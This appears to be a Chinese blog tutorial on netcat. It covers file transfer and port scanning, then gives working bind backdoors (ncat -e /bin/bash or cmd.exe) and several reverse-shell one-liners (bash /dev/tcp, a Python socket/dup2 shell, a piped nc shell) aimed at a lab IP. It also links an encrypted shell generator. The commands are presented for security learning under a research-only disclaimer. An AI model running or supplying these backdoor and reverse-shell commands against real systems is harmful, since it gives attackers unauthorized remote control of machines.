netcat的使用

前言

nc被誉为网络安全界的瑞士军刀,一个简单而有用的工具,通过使用TCP或UDP协议的网络连接去读写数据。

下载安装

windows下下载地址:https://eternallybored.org/misc/netcat/
下载解压将nc.exe 复制到C:\Windows\System32的文件夹下cmd命令nc即可(也可以配环境变量)
linux下:管理员权限下apt-get install netcat,命令行nc查看是否安装成功

netcat基本使用

netcat的使用

netcat文件交互

创建一个服务器端方法:
nc -l -p
创建一个客户端方法(连接服务器端)
nc [remote_addr] [remoteport]
netcat的使用
netcat的使用

netcat文件传输

创建服务器端:
nc -l -p 4444 > outfile.txt
其中outfile.txt是要接受到的文件
创建客户端:
nc 192.168.124.133 4444 < game.pcapng
其中game.pacpng是要发送的文件
其中如果服务端并没有准备好连接,而客户端已经使用nc进行连接,那么客户端会一直等待,直到连接上服务器,造成‘假死‘状态.
解决方法:设置等待时间
nc -w 3 [ip] [port] 设置等待时间3秒,超过3秒钟,客户端直接关闭等待连接。
netcat信息探测
端口扫描使用

nc -v -n -z -w1 [target_ip] [start_target_port-stop_target_port]
nc -v -n -z -w1 192.168.124.133 1-1000

好吧这个不和nmap一样蛮,其实和nmap是一个作者都利用tcp/ip来判断
netcat的使用

netcat建立后门

监听型后门

创建服务器端:

ncat -l -e /bin/bash -p 4444

-e 连接后执行执行某文件
其中/bin/bash是linux的shell解释器,连接后执行该文件,如果是windows要用来命令执行
ncat -l -e cmd.exe -p 4444
客户端连接:执行命令
nc -w 10 192.168.124.133 4444
netcat的使用

连接型后门

服务器端:
nc -l -p 4444
连接端
nc [remote_ip] [remote_port] -e /bin/bash
windows下使用-e cmd.exe
ncat 192.168.124.133 4444 -e /bin/bash
netcat的使用

netcat反弹shell(bash)

反弹shell命令:
bash -I >& /dev/tcp/ip/port 0>&1
pc接受netcat命令:
nc -lvp port
netcat的使用
netcat的使用

netcat反弹shell(python)

服务器端:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘192.168.124.133‘,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash‘,‘-i‘]);"
客户端:
nc -l -p 4444
netcat的使用
netcat的使用
netcat的使用
首先使用socket与远程建立连接,具有了远程的文件描述符,可以使用s.fileno()来查看具体套接字建立的远程文件描述符。

os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,使用os的subprocess在本地开启了一个子进程,传入参数”-i” 使 bash 以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样就可以实现反弹shell.

netcat反弹shell(不支持 -e)

反弹shell命令:
nc ip port | /bin/bash | nc ip port
用管道来重新定向输入和输出
pc接受netcat命令
nc -l -p 需要启动两个监听端口
其中一个作为输入,一个作为输出
netcat的使用
netcat的使用

一个ncshell生成加密小工具(shellpy)

地址:https://github.com/DarkSecDevelopers/Shellpy
netcat的使用
netcat的使用
https://github.com/pyca/cryptography/blob/master/src/cryptography/fernet.py
使用方法修改ip和端口运行run.py,运行shell.exe
其中shell.py是经过加密的
netcat的使用

参考文章及说明

国光大佬:https://www.sqlsec.com/2019/10/nc.html
小玉大佬:https://www.bilibili.com/video/BV1KZ4y1L7NZ
最后欢迎访问我的个人博客:https://lmg66.github.io/
说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

netcat的使用

上一篇:PageHelper分页插件及通用分页js


下一篇:RWD 响应式web 设计!